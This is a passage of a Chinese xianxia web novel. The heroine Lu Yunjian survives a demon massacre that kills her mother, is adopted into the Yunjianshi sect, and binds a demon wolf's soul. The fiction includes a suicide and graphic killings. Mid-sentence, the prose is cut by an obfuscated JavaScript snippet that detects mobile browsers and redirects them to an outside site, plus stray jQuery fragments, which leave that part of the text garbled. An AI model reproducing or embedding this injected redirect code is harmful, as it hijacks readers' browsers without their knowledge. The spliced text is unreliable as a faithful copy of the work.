周昔燕道:“村长给的?方才在路上遇见有几家在搬米面,这是怎么回事?” 柳娘道:“谁知道,反正面里没放毒就成。” 夏日温度高,发面便省去了不少时间,陆云笺此时虽只有八岁,力道却不小,因此要做个什么馒头包子,常常都由她来揉面,便是过年要做年糕,抡锤子的也是她。 柳娘感叹道:“小云笺到底是习武之人呀。昔燕,我说真的,小云笺的天赋真的很了不得的,要不我们几个凑些钱,送小云笺去那什么仙门里边修炼修炼?不说什么得道飞升,就是打打妖怪赚些钱两也好呀。” 周昔燕却摇头:“我只希望云笺能好好长大,一生喜乐安康便好,仙门水深,若陷进去,要脱身可就难了。” 这些话陆云笺一字不落地听见了,她垂了眼眸,手上力道更重了。 一竹匾馒头可以吃好几天,可馒头没吃完,村里却发生了一件大事。 和村长同院的一户人家前几日搬了出去,房子也被拆了,原本看似只是再普通不过的一次迁移而已,然而那户人家的女主人却忽然回来了,一身污泥,神色枯槁,身后是她的丈夫。 她的丈夫被卷在草席子里,由一根麻绳牵着,系在这女子的腰上,跋涉数里,带他回家。 即便他们的家已被拆成了一堆废柴,连地下三尺都被翻了出来,只剩一片狼藉。 在那女子的嚎哭与责骂声中,陆云笺终于知道那袋每个院子都有的面粉是怎么来的了—— 眉阳山没什么妖魔鬼怪作祟,不仅仅是因为百年前仙府留下的灵气未曾消散,更是因为眉阳村某处地下,埋藏着仙府掌门的武器。百年前仙府内乱,逐渐没落,掌门为了不让力量落于他人之手,便将自己的武器埋于地下,加以封印,如今百年过去,封印早已渐渐削弱,形同虚设。 于是,仙府的一个小小分支寻到了眉阳村,说是要寻回太掌门留于世上的神器。 “什么神器?我们都是普通老百姓,私藏什么神器?”最初小仙门的弟子找上门来时,村长如是说。 “既然不是私藏,那就拿出来。” “说了没有就是没有,哪有什么神器?” 为首那人便不说话了,手下的仙门弟子抄起村中放置的锄头铁锹就要往里冲。 村长拦住他们:“干什么你们?” 为首的弟子一身玄色衣袍,对比之下,金色丝线所绣的鲲鹏在阳光之下更显得熠熠生辉。他斜睨着村长一行人,道:“你们不拿,难不成还不让我们自己去寻了?我们拿回自家的东西,何错之有?” 仙门弟子到底不是普通老百姓能拦得住的,一行人查出来仙剑碰巧埋在一处房屋之下,又碰巧那家的男主人不在家,女主人拦不住,眼睁睁看着房屋被毁。 众人并没有看清那把太掌门留下的仙剑是什么样子,唯记得一片狼藉,和仙门离去后留下的十银赔偿。这十银归了房屋的主人,而村长额外得了五银,村长到底过意不去,又自己垫了些钱两,买了些米面,平息众怒。 男主人回来,当即大怒,跋涉五日,前去找仙门讨一个说法。仙门不堪其扰,命人驱赶,某位弟子一不留神释放了灵力,血溅当场。 这一回女主人寻上仙门,仙门赔偿了十金,却拒不见客。女主人于是拖着丈夫的尸身,走了十天,回到了眉阳村。 众人劝:“有了十金,要盖多好的房屋都够了。” “再给你丈夫打口好点的棺材,就此好好地过日子吧……” “人家是仙门,我们斗不过的,节哀吧……” 那女子一身结块的污泥与干涸的血迹,嚎哭了许久,咒骂了许久,到最后一切渐渐归于寂静,而她神情木然,不似活人。 周昔燕是第一个反应过来她要做什么的人,上前一步,意欲拉住她。可惜那女子去意已决,周昔燕才伸出手,她就猛地冲向了一旁—— 尖利的锄头凿入她的脑颅,血花飞溅,天地间一片寂然。 周昔燕收回了手,下意识去捂陆云笺的眼睛。 陆云笺没有闭眼,她怔怔立在原地,周昔燕微凉的手覆上来,陆云笺也还是睁大着双眼,睫毛簌簌颤动,自母亲指间的缝隙看着那一片逐渐洇开的血痕。 说来奇怪,那是她第一次亲眼看见“死”,彼时她才不过八岁,最深的感受却并不是害怕,而是刺骨的冷,随后才漫上来一阵刻骨的怖意—— 原来无能之人,如此命如草芥。 人群之中却忽然响起了另一种声音: “这女的也太不识好歹了,白白浪费了好好的十金,这十金拿去做什么不好?她也有些姿色,搞不好还能找个仙门弟子,不说仙门吧,就是找个富商,也不愁她吃穿了,做什么寻死?” 陆云笺猛地抬头,愤怒而茫然,她在围观人群中找寻着这个声音的来源,可一眼望去,却觉得每个人都是一样的面目,最初说话的只有那一人,可渐渐的,所有人的神色都一模一样,怜悯尤带鄙夷,惋惜尤带嫌恶,言论也一模一样,人声鼎沸,震耳欲聋。 陆云笺一晃脑袋,声音又安静下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266042|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,似乎只是她的幻觉而已。 可到底是没什么人愿意帮把手把女子和她丈夫埋了,毕竟给死人帮忙没什么好处,十金如何也不会到他们手里。 最后村长用这十金给夫妻二人打了两口上好的棺材,周昔燕和柳娘帮着把他们下葬了。陆云笺抡锄头的时候,像是有什么东西一同被埋葬了,又有什么东西熊熊燃烧了起来。 百年前没落仙门留下的灵气已经极为稀薄,如今埋在眉阳村地下的仙剑被取走,从未在眉阳山出现过的妖魔鬼怪便突然露出了一些可疑的踪迹。 比如深夜偶尔会听见哀嚎哭丧声,比如山中忽明忽暗的幽幽青绿火光,比如日间在山林遮掩之下时隐时现的白衣身影。 山间动物也多了起来,山鸡,野兔,游蛇…… 并没有太多人放在心上。 修真界常见妖魔鬼怪游荡,夜间和鬼魂打个照面也没什么,不过各处都有仙门镇守,多数妖魔鬼怪不敢害人,既是不妨碍自己的生活,人们也不会因为自家门前有个鬼魂飘过就胆战心惊地搬家。 可不知为何,近些年来妖魔鬼怪的异动多了起来,一日深夜,陆云笺正睡着,忽然听见窗户上传来“笃笃笃”的叩击声。 周昔燕夜间常心绪不宁、难以入睡,因此每日睡前都会点上安神香。叩窗声响起时,她睡得正沉,因此她的床榻虽靠近窗边,但却并没有被吵醒。 反倒是陆云笺,她似乎天生就对这种突兀而不怀好意的声音十分敏感,因此叩窗声响到第二遍时,即便是安神香也没能安住她的神,她蓦地睁眼,看向窗户,可窗纸外分明什么影子都没有。 叩窗声响到了第三遍。 陆云笺起身,轻手轻脚地走到窗边,从怀中藏着的双燕锦囊中取了三道驱逐符咒,而后抬手,将它们牢牢贴在窗纸上。叩窗声停止了,窗外的呜呜风声也安静下来。 天光将亮时,陆云笺将窗上贴的符咒揭下来藏好。 可另一家的运气不太好。 鬼魂从陆云笺家敲到张大娘家,没有一个人开窗,它便来到了邻近的另一处院子。 第一个被敲窗户的,是一座住着耄耋老母和她的傻儿子的破旧老木屋。 傻儿子长得很高很壮,却是个缺心眼儿。他原本睡得很死,但是外头那东西敲窗户敲个没完,敲到第八遍,他忽然被吵醒,猛地推开窗户,什么也没看见,却听见风声裹挟着一个宛如吱呀老木门的声音:“汝名为何?” 结果他还真傻愣愣地自报了家门。于是乎,风声卷着狂笑,这个又高又壮的大汉翻着白眼,噗通倒地,怎么叫都叫不醒,像是失了魂。 偏生他家没钱去寻道士或仙门,村人们觉着把那鬼魂打死应该就解决了,于是几个大汉抄着板斧铁锹锄头,蹲在他家里等,但鬼魂却略过了已经吞过魂魄的一家,敲了别家的窗户。 于是第二天大家便留在各自家里蹲守,打算在它开口提问前,一板斧把它砍死。 然而,白日里气势汹汹的一堆人,到了深夜却都怂了,要么压根不敢开窗户,要么在鬼魂问出“汝名为何”时,吓得尿了裤子。 村长召集村中众人商议,都说如果过几天这鬼魂还来敲窗户,就家家户户出些钱凑起来,去请仙门弟子来作法。陆云笺低头听着,在无人注意的地方,偷偷画了一张又一张镇邪符。 时近深夜,和前几日一样,鬼魂又来敲窗户了。周昔燕这几日都没再点安神香,在叩窗声响起时猛地睁眼,望向窗户。 陆云笺小声道:“没事的阿娘,它敲十遍我们不开窗户它就会走了,你睡吧。”说着顺手点上了安神香。 待周昔燕睡去,叩窗声响到了第九遍。 陆云笺起身,猛地将窗户推开。 68. 忽堕魇 鬼魂问:“汝……” 陆云笺没理它,从身上翻出足足五十张镇邪符,一股脑地往窗外甩去。 镇邪符与驱邪符不同,顾名思义,后者是“驱逐”,而前者是“镇压”。这么五十张镇邪符,便是没注入多少灵力,也够那鬼魂受的了。 待到风声止歇时,陆云笺也有些筋疲力尽了,她微微喘着气,将窗户关严实,转身准备躺回自己的床榻,却迎面对上了母亲的目光。 周昔燕没有说话,抬手拨亮了烛光,拾起地上散落的一张符咒,道:“镇邪符?” 陆云笺攥着衣角,觉得背上的汗被风一吹,有些发凉:“……阿娘。” 周昔燕不许陆云笺入仙门,陆云笺也就觉得母亲不许自己学习法术,有时候学到什么符咒,只敢自己偷偷地画、偷偷地用,从不敢教母亲知晓。 周昔燕虽不曾修习仙门术法、没有灵力,可毕竟出身书香门第,父亲在仙门中担任教习长老,授人诗书礼仪,她自然也对仙门仙法有所知晓。她叹了口气,道:“云笺,你在长清阁中习武,有多久了?” 长清阁是眉阳山附近的小仙门,与其他门派不同,并非阁中弟子才能听课学习,除修炼法门之外,什么诗书礼仪、骑射武艺,只要付了钱两,都能进去听课修习。 陆云笺小时候常偷偷去看长清阁演武场中的人练武,长大一些便偷学了些招式,周昔燕知晓后,便给了她一些钱两,让她进长清阁中习武。 不过陆云笺并没有将那些钱交出去。 十银只够听一堂课,她觉得很不值,便把钱收起来,还是偷偷地去演武场看他们习武,学了几个招式,偶尔买了武学书籍,便跟着书练。 不过这些周昔燕并不知道。 陆云笺估摸了一下母亲第一次给自己钱两的时间,道:“有六个月了。” “六个月了啊……云笺,你觉得在长清阁习武的时候开心吗?” 陆云笺沉默一会儿,回答得很保守:“……还行。” 周昔燕看着她小心翼翼的模样,忽然有些于心不忍,问道:“那你觉得在屋里背诵默写屈子的《离骚》,和在长清阁的演武场练武,哪个更有意思?” 这回陆云笺沉默的时间更长了,而后她痛下决心,英勇就义一般地说:“在屋里背诵默写《离骚》。” 周昔燕扑哧笑出了声,拉过陆云笺,摸了摸她的脑袋:“真的?” “……真的。” “女孩子习武没什么不好,想要学一些法术,若是为了救人或者自保,也没什么不好。” 陆云笺抬起头来。 “我说‘不要入仙门’,是说不必拜入仙门、成为他们的弟子,将来也不要为他们做事。若你一心求学,偶得机遇自学些小法术,将来用于自保,或许也可以帮别人除一些简单的小妖小祟,这不是很好吗?云笺,想做什么就去做吧,这是你的自由。” 陆云笺怔愣片刻,目光转向自己戴在左手腕上的那串白玉珠链。这条珠链材质上佳,有驱邪避灾之效,其中一颗玉珠上曾因意外而多了一条裂缝,宛若一道霹雳横过满月。 ……这会是那个未曾与她谋面的父亲送给母亲的吗? 陆云笺收回目光,问道:“阿娘,为什么不能拜入仙门?” “云笺,这个问题你已经问过很多遍啦,解释起来会有些麻烦,睡吧。” 这一回陆云笺没有轻易作罢:“是因为父亲吗?” “……” “我父亲就在仙门里,对吗?” “……” “阿娘,你为什么一个人跑到眉阳村?我父亲呢?” 这是陆云笺平生第一次,也是唯一一次问出这个问题,尽管她一直都很想知道,但她不想刺痛母亲。旁人都说母亲是被抛弃了,可是母亲这么好,哪个不长眼的会抛弃她呢? 周昔燕蓦地被刺痛了,她的面色刹那变得苍白,瞳孔颤抖着,却还是没有说话。 陆云笺不忍再问,可这个问题她不会再问出第二次,既然迈出了这一步,她就打算彻底弄清楚。于是她拉住母亲的手,四目相对,坚定的对上颤抖的,不忍的对上悲痛的。 陆云笺一字一顿地问道:“因为,我的父亲,想杀我?” 周昔燕下意识摇头:“不……”随后她拉过陆云笺,“谁跟你说了这些?柳娘?张大娘?”然而她立即便反应过来,这件事从没有旁人知晓,陆云笺不会从任何一个人那里得知真相。 陆云笺果然摇头:“没有人跟我说。阿娘,可以告诉我为什么吗?” 周昔燕忽地将陆云笺拥入怀中,陆云笺跪在榻上,脸埋在母亲颈间,感受着母亲的肩膀簌簌颤动,感受着母亲的发丝拂过脸颊,有些痒,也有些痛。 陆云笺睁着双眸,眸中没有太多悲伤,她没再问下去,双手攀上母亲的背。 周昔燕没有告诉陆云笺为什么,她只说:“云笺,你很厉害,要是进了仙门,一定会遇上他的……迟早会遇上他。” 陆云笺问:“阿娘,我该恨他吗?” 周昔燕道:“你该恨他。可是阿娘不希望你恨,恨与爱,是这世上最沉重的情感,没有几个人可以承受住。你也不要去寻仇……你赢不了他,也不可以……背上不孝的污名……” 陆云笺呆呆地跪在榻上,没有答应也没有反驳。 第二日,那个被吞了魂魄的傻大汉突然奇迹般地回魂了。 柳娘是第一个猜出来的:“昔燕,昨晚上我听见那东西敲你们的窗户啦,后面就没听见了,莫不是小云笺给它打跑了?” 周昔燕伸出一指抵在唇边,轻轻摇了摇头。 柳娘会意,玩笑道:“知道啦,我也不想小云笺被扔到山里面天天和各种妖魔鬼怪对打的。”她揉了揉陆云笺的脑袋,很骄傲地说,“男人就是废物,只敢对家里人颐指气使,见着个小鬼小怪,居然被吓得尿裤子,真笑死我了,天底下的男人都一个鸟样。” 陆云笺看着柳娘卷上去的衣袖,衣服阴影遮掩着袖子底下若隐若现的伤痕,自柳娘来到眉阳村时便有,或许一辈子都不会消。不过,斯事已矣,经年的伤疤,如今已不会再如从前那般痛了。 彼时她们都没有想到,小鬼小怪只是一个开端、一个预兆,提醒她们,是时候了,应该做好死别的准备了。 那时修真界还算太平,极少有大妖作乱。 许是因为眉阳山下镇压的妖魔鬼怪渐趋狂暴,所谓的仙府分支也没再管山下镇压的邪祟,几乎是突如其来、毫无预兆的,眉阳山忽地出了一众杀戮成性的邪祟,其中百年大妖,足有五只。 有两只大妖似乎是被镇压得怕了,一破开封印便逃往远方,而其余三只则在眉阳村中潜伏了几日,为日后的屠杀做准备。 陆云笺是被一声嘶吼吵醒的。那嘶吼绝不来自于人类,嘶吼声如雷霆振林樾,直直穿凿脑颅,本能告诉她,这东西绝非善类。 她立刻爬起,原想推门出去,可手触及门栓,那东西又是一声吼,似乎离得更近了些,陆云笺蓦地收手,翻出一张驱逐符贴于门上。 一张是绝对不够的,陆云笺去翻放着符纸的木盒,翻出一堆驱逐符、镇邪符,就连什么烈火符引水符也翻了出来,能用上的都贴在门上。 周昔燕也被那震天的吼声吵醒了,问道:“云笺,怎么了?”不等陆云笺回答,门外便又是一阵狂风呼啸,惹得山林震颤,她蓦地反应过来,“有妖?” “嗯。”陆云笺含糊地应了一声,咬破指尖,以鲜血又绘了一张驱逐符。 周昔燕拉过陆云笺,轻抚了一下她指尖的伤口,道:“我来吧。我的血会比较有用。” 陆云笺愕然道:“阿娘……” 周昔燕没有看她,径自取了压在枕下的匕首,割破自己的手腕,而后笑道:“不过我画符不熟练,还是得云笺你来画了。” 陆云笺还是没有缓过来。她没想到母亲会如此沉静,更没想到母亲会自己割破手腕,也不懂母亲那句“我的血会比较有用”是什么意思。 陆云笺呆呆愣在原地,问:“阿娘,什么意思?” 周昔燕寻了一 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“曾经阿娘也这么觉得。父亲所在的仙门很厉害,无论是符咒还是阵法都是一等一的,阿娘小时候被护着,从来没见过什么妖魔鬼怪。可到底我们一家还是毁在妖邪手中了。最后还是他路过,救了阿娘一命。” 陆云笺没有说话。她们已经默认,这个“他”,指的是陆云笺的父亲。 周昔燕并不打算多说这一节,于是草草带过,继续道:“那时候阿娘才懂,许多事情是逃不过、躲不掉的,唯有自己强大起来,在祸患来临之时将它化解,而不是永远躲避,直到有一天躲不过了,只能束手就擒。” 周昔燕拿起笔架上的毛笔蘸了鲜血,拿过一张空白黄纸,照着陆云笺画的镇邪符一笔一笔地摹着,画完了,轻轻一吹,那张镇邪符便飘到了门上,压住陆云笺贴的一众符咒。 “我是来不及了,云笺,其实阿娘很希望你能多学些本事,你的天赋很好,不该就这么白白浪费了。可你变得厉害了,出名了,就会引来无数道目光,也会引来无数的祸患。 “阿娘有时候很不忍心,不忍心浪费你的天赋。可是阿娘也很怕,无数个日夜,阿娘总会梦见一些不好的事情。 “云笺,答应阿娘,往后多学些本事,但万不可贪图名利,亦不可涉足仙门,可明白了?” 陆云笺眼睛一眨不眨地看着母亲,半晌后点头:“……好,我答应阿娘,多学本事,不贪图名利,不涉足仙门。” “好、好。”周昔燕又摸了摸陆云笺的头,她终于侧过脸看向了陆云笺,清朗月光映照着她的眉眼,泪光终于无处躲藏,她轻轻地说,“对不起啊,云笺。” “阿娘,”陆云笺忽地反应过来,瞪大了双眸,下意识奔过去拦在门前,“阿娘,你要做什么?” 屋外狂风四起,屋内烛火摇晃,周昔燕站起了身。 狂风破门而入的一瞬间,周昔燕猛地将陆云笺拉至身后,肩膀却被自破洞探进来的尖锐指爪洞穿,冰冷的风与温热的血一瞬之间一同扑在陆云笺脸上。 她听见母亲对她说:“多取些血,画驱逐符和镇邪符,我会将它引开。” 而后周昔燕猛地将匕首往那爪中一刺,大妖痛而收手,指爪从她撕裂的肩膀中抽出,将她带出了房屋。 后来四下灯火起,恍如白昼,村人四下奔逃。 陆云笺边跑边甩出鲜血绘制的驱逐符和镇邪符,她与人流逆行,在人群中、山林间找寻那个熟悉的白色身影。 黑夜里,火把虽亮却混乱至极,落于山林间,又成了越不过的火墙。 陆云笺第二次甩掉了大妖的指爪,脖颈间的伤口却像两个补不上的窟窿,一路淌着血,到最后她再发不出任何声音,原本的呼唤成了一句句无意义的呜咽。 山石嶙峋,陆云笺一脚踩空,滚下山坡,就再也爬不起来。知觉已经不再清晰,脖颈间竟没有了痛楚,只剩夜风灌入的寒意。 陆云笺睁开双眼,眼前鬼影幢幢,火光匆匆。 而后她对上了另一双眼睛。 69. 云间世 那双温和瞳眸再也没了往日的光彩,也或许是陆云笺自己的双眼已经模糊得视物不清,看什么都是黑的,混乱的。 她喑哑地出声:“阿娘……” 她的声音周昔燕听不见,周昔燕说了什么,她也听不见。唯见周昔燕在看见她的一瞬间,眼神忽地清明起来,火光映着她眼眶中的泪,刺中陆云笺的双眼。 周昔燕不知哪里来的力气,蓦地挣开压住她的那只利爪,冲着陆云笺声嘶力竭地喊。 陆云笺听不清。 她只能从眼前的一线光明中分辨出两句话: “跑。” “不要去寻仇。” 然后她看见,母亲自腰部以下的血肉早已被撕扯得七零八落,半边秀美的脸此时可见森森白骨。 母亲朝她伸出手,而后那只血污纵横的手便被从天而降的一只巨足踩断,一只利爪扯着母亲的手腕,将母亲的手自肩膀上撕下来,血肉筋络尽数断裂…… 就像陆云笺在酒馆外朝里瞥一眼,看到人们将煮熟的鸡一点点撕开,然后吞吃入腹。 那是一辈子都挥之不去的噩梦。 混沌间,那只利爪转了个向,朝陆云笺伸来。恍若将死之人的幻觉一般,陆云笺忽地听见一个模糊的声音,那声音似远又似近,似远在天穹,又似近在耳边—— “汝可愿,以汝之魂,借吾之力?” 陆云笺微微侧过头,看见了一样泛着寒光的事物。来不及去思考那是什么,陆云笺抓了它,猛地朝着那只利爪掷去—— 利爪的主人吃痛,怒吼一声,收回指爪时带起的狂风猛地将陆云笺掀飞,她背脊撞上一棵大树,自半空落下,咳出一口血。她抬眼看向那样方才被她掷出、此时复又追随着她而来的事物。 方才那一撞让她清醒了些许,此时终于看清了那是什么。 是一把匕首。通体银寒,柄上嵌着一枚暗紫灵石,宛如妖兽的瞳眸,诡谲森寒。 此后陆云笺的感知不再清晰,不知道之后又发生了什么,这一难中死了多少人又活下来多少人,她也并不知道。 只知道这一难是修真界十余年以来所遇最大的妖魔之乱,众人称之为“眉阳之难”。 只知道原本住了二十余户的小村庄,此后剩了寥寥几户,百年前仙府所处的眉阳仙山,埋葬了无数枯骨。 不知过了多久,陆云笺忽地闻到了一阵香味,那香味很淡,清幽沁脾,逐渐唤醒了她的神智。 再睁眼时,什么山林火光都没有了,入目是一片漆黑,眼神逐渐聚焦,才发现那是屋顶。雪白的细碎花瓣自窗外飘来,带来阵阵温和的风与香气。 陆云笺下意识抬手摸向腕间,却是一片空空如也,母亲送她的那串白玉珠链早不见了踪迹,或许已散落在火光之中,被碾作了齑粉。又伸手去摸衣襟,然而那一只好好收在襟内的双燕锦囊,也早已不见。 她转头静静地看着落在床头、榻上、指尖的花瓣,一动不动,像是失去了思考能力,也早已失去了一切知觉。 不知过了多久,她忽地听见一个陌生而温和的嗓音:“你终于醒啦。” 她循声转头望去,看见一个身着月白衣裳的少年端着茶盏行来,少年身姿挺拔,眉眼温和,有那么一瞬间,她似乎看到了熟悉的影子。 少年将茶盏放在床头,将杯盖掀开稍许,热气腾腾,氤氲了他的眉眼。他道:“茶太烫了,先凉一会儿吧。” 少年搬了把椅子坐在床边,和陆云笺大眼瞪小眼一会儿,然后笑了:“为什么不说话?我以为你会问,我是谁,这是哪,你怎么了。”然后他似乎是忽然反应过来,眼睛移向陆云笺的脖颈,“莫不是伤还没好,说不了话?” 陆云笺闻言坐起身,下意识抬手摸了摸自己颈间,摸到一片粗糙,应当是纱布或者绷带。她哑着嗓子,道:“好了。” 少年便笑道:“我叫陆明周,你叫什么名字?” “……陆云笺。” “好巧,原来我们本为一脉。取的是哪两个字?” 陆云笺像是没有听见他这句话,垂眸定定看着落在指尖的细碎花瓣,许久没有出声。 陆明周没有再问一遍,只抬手轻轻将落在床榻上的花瓣扫去。 “‘云笺写叶长,滴露和烟种’。”才落音,眼前便不可控制地浮现出母亲手把手教她写这个句子的模样,是已经破碎不可追的温和安宁。 这个句子不算常见,陆云笺原以为这少年不会知道,但她也并不打算多解释,谁知陆明周似乎会了意,还是很温和地笑着:“很好听。” 陆云笺抬眼对上他颜色浅淡的瞳眸,道:“这是哪。” 陆明周道:“这里是云间世,我是云间世的少主。父亲既已决定收你为义女,从今往后,你就是我的妹妹,我就是你的哥哥了。” “……哥哥?”陆云笺蹙着眉,“云间世,仙门?” 陆云笺虽并不了解修真界的诸多门派,但云间世是声名远播、家喻户晓的天下第一大派,便是不曾了解,也当是听过这个门派的名号的。 “嗯,父亲说你体内有妖狼碎魂,此事不宜让旁人知晓,因此不好让你拜别的长老为师,所以之后就由父亲和我来教你术法,不过父亲事务繁多,总有难以顾及之处,所以应该大多数时候,只能由我来了。不过你也一样可以去听长老们授课,去演武场练武……你在听吗?” 陆云笺双眼仍对着陆明周的眼睛,可她什么别的也听不进去,唯记得母亲对她说的,不要入仙门,不要去寻仇。 那是母亲的遗愿。 陆云笺下意识想拒绝。可她听见陆明周说到“父亲”这个词,却又不由自主地起了无边的怒意恨意,母亲遭难之时,所谓的父亲,又在哪里? 凭什么母亲零落半生,到头来尸骨无存,他却还不知道在哪个仙门里头逍遥,对母亲的苦难一无所知? 于是她转了话头:“云间世,天下第一大派?” “……嗯。” 母亲说她赢不了他。 她的目光落在陆明周腰间玉牌上,那是天下第一大派少主的令牌,少主的父亲,那就是云间世的尊主,世间诸多仙门,都不得不仰视的存在。 如果她有朝一日能拥有与他们一样的力量,谁说一定赢不了? 蚍蜉撼树,不自量力。那就绝不能只做蚍蜉。 陆云笺道:“好。” 陆明周道:“……你听见我说什么了吗?” “从今往后你就是我的兄长,你会教我术法。” “……然后呢?” “不知道,也无所谓。” 陆明周叹了口气,道:“怎么是无所谓呢?那日眉阳之难,你与镇守眉阳山的妖狼做了一笔交易,你不记得了么?” “原来那是妖狼?” 陆明周道:“百年前眉阳山上的仙门,叫作拂云阁。彼时妖狼刚刚出世,闹得眉阳山一带鸡犬不宁,拂云阁掌门将它镇压在山下,如今那妖狼的魂魄破碎而几近消散,它逃出眉阳山,便急需找到一个容器,供养它的魂魄。它找到了你,又诱骗你撕裂魂魄,为它提供一席之地温养魂魄,但妖狼毕竟野性难驯,假以时日它的魂魄修复完整,定会动吞噬你魂魄的心思,若你的魂魄被吞噬了,那便再也不得转生。” 陆云笺道:“所以那妖狼碎魂现在就在我体内?” “是。”陆明周点头,“为今之计,要么将妖狼碎魂逼出,要么将它驯服或者压制。” 魂魄的状态自然是感知不出来的,陆云笺抬起手,指尖似乎还停留着那把匕首的寒意。那匕首助她自无数妖魔鬼怪中杀出一条生路,想必是一件不可多得的利器。 “撕裂魂魄,不是它诱骗我 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陆稷道:“云间世有一处辖地,名为‘哀牢’,是训练银鹰卫之所。” 陆明周蓦地抬头,看向自己的父亲。 陆稷没有理会他,继续道:“你前往哀牢,若是顺利,几年内便可大成。若是不顺利,此去尸骨无存,魂入炼狱。” “几成死,几成生?” “九成死,一成生。” 陆稷垂眸看着靠在榻上的女孩,眸中不知是何情绪。他以为陆云笺一定会畏惧,会拒绝,会逃避,不过他其实并没有给她选择,只是提醒与告知。 然而陆云笺沉默一瞬,忽地朝陆稷重重拜下:“我愿意前往哀牢。”那不是女儿对父亲的姿态,而是下属对上司的遵从,或是神器对主人的臣服。 那是一柄利剑。 陆稷终于在这个瞬间感受到了陆云笺的价值,他微微一笑,拂袖离去。 陆明周在原地立了片刻,到底还是追了上去,在阶下拦住陆稷:“父亲。” 陆稷停步,冷冷看着他。 陆明周维持着行礼的姿势,呼吸有些急促,面色微白,掌心盗汗:“父亲,即便是银鹰卫,在哀牢也需训练十年以上。若是几年之内就想让她能够驯化或是压制妖狼,其中艰难困苦,绝非她所能承受。” “妖狼之威胁,如何可解?” “将妖狼逼出而后镇压,或者压制驯化。” “若是她能活下来,妖狼便可听从云间世的命令,为云间世所用。” “……可若是不能呢?” “她死后,妖狼自会脱出她的身体,届时镇压或者炼化,不是轻而易举?” “可……” 陆稷扶住陆明周的手让他站直,而后上下打量了他一遍,似乎有些叹息:“周儿,你如今,也有十一了。” 陆明周垂着眸,定定地立在风中。 “位高权重者,最忌恻隐之心。” “……” 陆明周定在风中仿若偶人,半晌之后他微微躬身,觉得身体都在风中僵硬了,动一下,便像是有什么东西破碎崩塌。 他垂眸拱手,道:“是,父亲。” 陆明周回到房中没有待太久,便以演武场有要事为由离开了,陆云笺看着缓缓合上的房门,咔哒一声,像是隔断了她的往后与从前。 她看着窗外的巍峨青山与氤氲白雾,只觉仙气逼人,不堪受用。 她收回目光,缓缓抬起手。陆明周方才告诉了她召唤妖狼的咒诀,妖狼魂魄破碎,不能展示出完全形态,却仍有意识,能够在她脑中与她对话。 陆云笺默念咒诀,指尖渐渐亮起一点紫色灵光,那光芒愈来愈盛,而后她颅内再次响起了那个渺远沉重的声音:“唤吾何事?” 70. 淬锋名 陆云笺开门见山道:“你是拂云阁镇在山下的妖狼?” 颅内忽地一片沉寂,陆云笺还以为自己咒法施得不对,正欲再试,便听那个声音闷闷地道:“胡说八道。吾乃山间天生地长……” “你被镇压是因为废话太多吗?” 那个声音似乎很诧异地愣了一瞬,而后怒道:“你竟敢出言不逊,待我他日修复魂魄,定将你的魂魄吞吃入腹,让你不得转生!” 陆云笺被震得颅内隐隐作痛,却没有丝毫畏惧:“我虽手无寸铁没有灵力,你却连魂魄都不完整。你信不信我现在就一头撞死,这里是云间世,我死了,你无处藏身,要镇压你,会比拂云阁容易一万倍。” “这里是云间世?!” “是啊,天下第一大派。”陆云笺冷笑道,“你被镇压了上百年,消息倒是很灵通。” “云间世已建派五百余年,我怎会不知?” “……”陆云笺的确不知云间世的历史,她静默了一瞬,道,“所以,请您老人家言简意赅些。” “我乃天生地长之灵妖,修炼成形后落入陷阱,拂云阁利用我的精元炼成法宝,欲置我于死地,我将法宝盗走,他们便将我镇在山下,如此百年,魂魄破碎,近日才得见天光。” 妖狼说着,好似有些委屈,道:“够言简意骇了吗?” 陆云笺道:“所以你刚出生就被抓去炼法器了?不是你作乱害人然后被镇压?” 妖狼不满道:“不然呢。” 陆云笺却没有太多时间同情它,而是道:“法宝就是那把匕首?哪去了?” 妖狼道:“你目无尊长,出言不逊,我岂能将它给你?” 陆云笺:“你试试呢?” 又是几许沉寂,叮当一声,一道寒光落在床头。陆云笺将它拾起来,轻抚过刀刃,刀刃极其锋利,只轻轻一碰,便擦出一道血痕。 陆云笺垂眸看着那道寒光,道:“你叫什么?” 妖狼一愣:“啊?” 陆云笺道:“你没名字吗?” “……破月。你若是想用什么操纵法咒,是不会有任何效用的,你死了这条心吧。” 陆云笺抚着匕首柄上熠熠流光的灵石,道:“那这把匕首,就叫破月吧。” 第二日,陆明周带陆云笺在云间世中圈了一处地方,说是要为她建一处居所。 图纸上雕梁画栋,九曲回廊,山水花草一应俱全,陆云笺看了半晌,忽然道:“留三分之一的地方就好了。” “……为何?” 陆云笺没有多去看那图纸,只道:“我住不惯大房子。”她虽以尊主义女之名留在云间世,但她并不打算与云间世的一切扯上太多关系。 她与云间世,想来不过各取所需。 建一处住所需要数月,陆云笺没有立刻看到居所建成的模样,半月后,她的伤尽数痊愈,就此启程前往哀牢。 哀牢路途遥远,山上怪石嶙峋丛生毒草,泉流干涸却有无数游蛇毒虫,实为凶地。虽说哀牢是训练云间世暗卫银鹰卫之所,陆云笺上了山,却没瞧见半个人影,唯见阴云密布,半空兀鹫盘旋,啸声阵阵。 陆云笺扶着岩壁向山顶一点一点走去,不知是触到了什么机关,一道暗箭自身后袭来,陆云笺侧身闪避,那暗箭擦着她的耳鬓飞过,钉入岩壁,刺入三分! 陆云笺转头看去,什么都没瞧见,唯有阴风阵阵,提醒她,此一去万分凶险,绝难生还。 时节如流,转瞬四年。 四年后,陆云笺才第一次见到竣工之后的居所。 四年来陆明周偶尔会与她通讯,曾提及让她为居所拟一个名字,陆云笺没有心思去拟,陆明周便拟了几个供她挑选,陆云笺便选了一眼扫过去看到的第一个——流丹阁。 流丹阁众建筑上的都是丹漆,陆明周虽照陆云笺所言省去了重重回廊、处处庭院,却在阁前栽种了一种灵木,自流丹阁起方圆一里,花草树木四时变换,永不凋零。 陆云笺却无端觉得,那丹漆像是终年流淌、永不干涸的血。 